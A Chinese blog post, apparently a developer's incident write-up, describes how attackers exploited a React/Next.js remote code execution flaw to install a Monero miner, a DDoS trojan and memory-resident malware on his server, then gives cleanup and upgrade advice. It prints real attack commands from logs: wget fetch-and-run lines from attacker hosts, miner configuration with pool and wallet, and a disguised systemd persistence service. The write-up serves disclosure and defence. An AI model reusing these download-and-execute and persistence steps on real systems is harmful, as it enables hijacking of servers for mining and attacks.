紧急!Next.js高危漏洞致服务器被黑,我已经中招了!附解决方案

刚刚,我的服务器因为一个高危漏洞被入侵了,沦为了矿机!把我的经历分享出来,希望更多程序员朋友们不要中招,抓紧预防处理。

事故现场

2025 年 12 月 5 日下午,腾讯云给我发来一条安全告警通知,说我的业务存在 React/Next.js 远程代码执行(CVE-2025-55182/CVE-2025-66478)高危安全风险。

然后在当晚,腾讯云就给我发了第二条通知,说是我的服务器上检测到存在恶意文件,显然是一个挖矿程序。

但很遗憾的是,昨天我正在老家处理事情,没来得及看到这些通知,而且可气的是,攻击者专挑周五下班时间作案,所以我团队同学也没注意。

等到今天早上一睁眼,发现站内信全是告警,攻击者在早上 6 点和 9 点又进行了几次行动。这时我们团队群里也已经炸锅了,大家就一起排查处理。

首先我查看了前端项目的依赖管理文件 package.json

json 复制代码
{
 "dependencies": {
   "next": "15.3.3"
}
}

发现我编程导航训练营项目使用的 Next.js 版本(15.3.3)正好在漏洞影响范围内!

然后我查看了应用日志 camp_codefather_cn.log,发现了很多线索,并配合腾讯云主机安全提供的告警分析,还原了攻击者的完整作案过程。

时间线如下:

yaml 复制代码
📅 2025-12-05 19:59:42 【第一波攻击】下载恶意脚本
📅 2025-12-05 20:04:00 【第二波攻击】部署挖矿程序
📅 2025-12-06 06:13:43 【第三波攻击】植入 DDoS 木马
📅 2025-12-06 09:29:33 【第四波攻击】运行内存木马
📅 2025-12-06 09:42:00 【持续攻击】尝试建立后门

1、下载恶意脚本,部署挖矿程序

首先晚上 7 点 59 分,攻击者利用 Next.js RSC 漏洞,通过发送特制的 HTTP POST 请求,执行命令下载了恶意脚本 sex.sh

bash 复制代码
wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh -O sex.sh
chmod +x sex.sh
./sex.sh

日志记录:

bash 复制代码
--2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh
Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37
Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1619 (1.6K) [text/x-sh]
Saving to: 'sex.sh'
​
2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved [1619/1619]

从这里能看出来,这个时候攻击者已经可以通过 Next.js 的漏洞为所欲为了!

我下载了这个 sex.sh 脚本文件,带大家 "鉴赏一下"。

首先攻击者配置了挖矿参数,连接到攻击者的矿池、使用攻击者的门罗币钱包,并伪装成系统更新服务。

ini 复制代码
ARGS="--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻击者的钱包地址)"
SERVICE_NAME="system-update-service"  # ⚠️ 伪装成系统服务

然后伪装成浏览器请求,从 GitHub 下载合法的 XMRig 挖矿软件

ruby 复制代码
curl -L -o kal.tar.gz \
 --user-agent "Mozilla/5.0..." \  # ⚠️ 伪装成浏览器
https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf kal.tar.gz

接下来创建系统服务,设置开机自启、进程崩溃后自动重启。也就是说,即使重启服务器,木马依然运行

ini 复制代码
# 创建 systemd 服务
cat > /etc/systemd/system/system-update-service.service <<EOF
[Service]
ExecStart=/path/to/xmrig --url pool.hashvault.pro:443 ...
Restart=always         # ⚠️ 崩溃后自动重启
[Install]
WantedBy=multi-user.target  # ⚠️ 开机自启
EOF
​
systemctl enable system-update-service
systemctl start system-update-service

如果没有 root 权限,会在后台运行挖矿程序,并重定向输出到 /dev/null,不留日志。

bash 复制代码
nohup /path/to/xmrig $ARGS >/dev/null 2>&1 &

完整代码我分享到 代码小抄 了,感兴趣的同学可以阅读。

我都忍不住赞美攻击者了,这个程序写得真不错,短小凝练,不仅有隐蔽和伪装、还考虑到了持久化和降级。

这段代码执行完,我的服务器就已经脏了,挖矿程序开始在后台运行,持续消耗我的服务器资源为攻击者挖取门罗币。

2、植入 DDoS 木马

然后是第二天早上 6 点多,攻击者不讲武德,给我的服务器植入了第二个恶意程序。

先看看日志记录:

bash 复制代码
--2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2
Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219
Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1371145 (1.3M) [application/octet-stream]
Saving to: '/tmp/nginx3'
​
2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved [1371145/1371145]

攻击者通过 wget 下载了一个特制的 Nginx 网站服务器文件,还特意选择了权限宽松的 /tmp 目录。

bash 复制代码
wget -O /tmp/nginx3 http://res.qiqigece.top/nginx2
chmod 777 /tmp/nginx3
/tmp/nginx3

根据安全报告,这是一个 DDoS 攻击木马类的恶意程序,可以把我的服务器变成太美的 "肉鸡",参与对其他服务器的 DDoS 攻击。

不仅会消耗服务器的带宽,还可能导致我的服务器 IP 被封;更严重的是,我有可能直接就参与网络攻击了?!

这难道就是传说中的人在家中坐,锅从天上来?

6 点我特么还在床上躺着流口水做梦呢,攻击者努力得让人心疼啊!

3、植入内存木马

到了早上 9 点 29 分,攻击者又发力了 ,又给我的服务器植入了一个木马类的恶意程序 /dev/shm/java

不过有点儿奇怪的是,这次的文件竟然已经被删除掉了?

我才不相信攻击者良心发现呢,我通过下列命令看了下进程:

bash 复制代码
ls -l /proc/*/exe | grep deleted

发现竟然有 4 个木马进程同时运行!

bash 复制代码
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted)
lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted)

狠啊,真狠啊,1 个进程还不够是吧?

我猜 "删除文件" 是攻击者为了 防止取证 ,让文件运行在 Linux 的共享内存文件系统 /dev/shm 中,并且故意把文件删除掉,让 lsfind 等命令找不到它,但其实进程仍然在继续运行,增加了取证排查的难度。

4、持续探测

上午 9 点 42 分,攻击者又来了,这次是从一个波兰的 IP 地址下载了一个程序,并赋予极高的访问权限,然后还想远程下载并执行另外一个远程脚本。

很可惜我的服务器并没有 busybox(嵌入式 Linux 常用的工具集),所以这次攻击被阻止了:

bash 复制代码
/bin/sh: line 1: busybox: command not found
chmod: cannot access 'x86': No such file or directory
/bin/sh: line 1: ./x86: No such file or directory

但这也说明攻击者在 持续尝试 建立多重后门。真是丧尽天良,丧心病狂啊!

漏洞简介

分享到这里,想必大家已经感受到这次漏洞的危害了吧。

主要是 2 个远程代码执行漏洞:

  • CVE-2025-55182:React Server Components 远程代码执行漏洞
  • CVE-2025-66478:Next.js App Router 远程代码执行漏洞

据官方描述,在 React 的服务器组件库中,由于 React 在解码发送至服务器函数端点的请求负载时存在安全缺陷,导致未经身份验证的远程攻击者可以通过 向任何服务器函数端点发送特制的恶意 HTTP 请求 ,当该请求被 React 反序列化处理时,即可 在服务器上实现远程代码执行,从而完全控制服务器。

这次漏洞的影响范围很大,包括使用了 React 服务器组件的应用、使用了不安全版本的 Next.js 应用等等。注意,不仅仅是你自己开发的应用,如果你服务器上安装了其他符合这些特征的应用,一样会中招!攻击者是可以通过程序批量扫描这些应用的,发现一个攻击一个。

你看漏洞是前两天刚刚披露的,我这就中招了。我们团队的小伙伴自己的服务器也中招了,他通过一个 开源项目 成功复现了攻击,只需要一个请求就能打开服务器上的计算器程序、给服务器写入任何文件。

开源的扫描工具:github.com/Malayke/Nex...

好家伙,几乎没有任何成本,就能为所欲为,植入后门、生产垃圾、拿来挖矿、盗取信息!

而且很多朋友可能没有及时发现、或者不知道怎么处理,就会一直被攻击者当成矿工来利用。

如何处理?

如果条件允许的话,建议是立刻隔离服务器,防止被攻击者拿来利用、植入更多恶意程序、或者获取更多信息。

然后通过编写 Linux 脚本来清理恶意文件:

注意,以下脚本仅供参考,实际以操作系统和攻击情况为主,用 AI 生成即可

bash 复制代码
# 删除整个挖矿目录
rm -rf /www/wwwroot/xxx/xmrig-6.24.0/
rm -f /www/wwwroot/xxx/sex.sh
rm -f /www/wwwroot/xxx/kal.tar.gz
​
# 删除 /tmp 下的恶意文件
rm -f /tmp/nginx3
rm -f /tmp/x86

光删除文件还不够,还要查找并终止所有恶意进程:

perl 复制代码
# 查找 xmrig 进程
ps aux | grep -E "(xmrig|minerd|cpuminer)" | grep -v grep
​
# 查找可疑进程
ps aux | grep -E "(nginx3|/tmp/|/dev/shm)" | grep -v grep
​
# 查看被删除但仍在运行的进程
ls -l /proc/*/exe 2>/dev/null | grep deleted
​
# 终止进程
kill -9 <PID>

最后,还要停止恶意的 systemd 服务:

sql 复制代码
# 查找可疑服务
systemctl list-units --type=service | grep -E "(update|system|miner|crypto)"
​
# 示例输出
system-update-service.service   loaded active running   System Update Service
​
# 停止并禁用
systemctl stop system-update-service
systemctl disable system-update-service
​
# 删除服务文件
rm -f /etc/systemd/system/system-update-service.service
​
# 重新加载
systemctl daemon-reload

当然,如果你的服务器上本来就没什么东西,也可以选择简单粗暴的方式,重装系统!

不过最重要的是,要解决根本问题,把 Next.js 应用升级到安全版本。

最后

通过这次事故呢,我觉得多关注安全通告、做好服务器的安全监控还是非常重要的,要是没有安全告警,可能几个月都没办法意识到这些攻击。

而且建议大家把应用尽量运行在非 root 权限下,尽可能减少风险。平时养成定期备份的习惯,出了问题即使重新安装服务器,也不会造成数据丢失。

OK 就分享到这里吧,如果你觉得本期内容有帮助,记得 转发分享 给身边的程序员朋友,让他们尽快意识到并修复问题,不要再让丑陋的、卑鄙的、老奸巨猾的攻击者得逞了!

更多

💻 编程学习交流:编程导航 📃 简历快速制作:老鱼简历 ✏️ 面试刷题神器:面试鸭

相关推荐
ulias2127 小时前
Linux系统中的权限问题
linux·运维·服务器
青花瓷8 小时前
Ubuntu下OpenClaw的安装(豆包火山API版)
运维·服务器·ubuntu
超低空9 小时前
OpenClaw Windows 安装详细教程
人工智能·程序员·ai编程
Dream of maid9 小时前
Linux(下)
linux·运维·服务器
齐鲁大虾9 小时前
统信系统UOS常用命令集
linux·运维·服务器
专吃海绵宝宝菠萝屋的派大星12 小时前
使用Dify对接自己开发的mcp
java·服务器·前端
大数据新鸟12 小时前
操作系统之虚拟内存
java·服务器·网络
楠奕13 小时前
CentOS7安装GoldenDB单机搭建及常见报错解决方案
linux·运维·服务器
GCTTTTTT14 小时前
远程服务器走本地代理
运维·服务器
剑锋所指,所向披靡!14 小时前
Linux常用指令(2)
linux·运维·服务器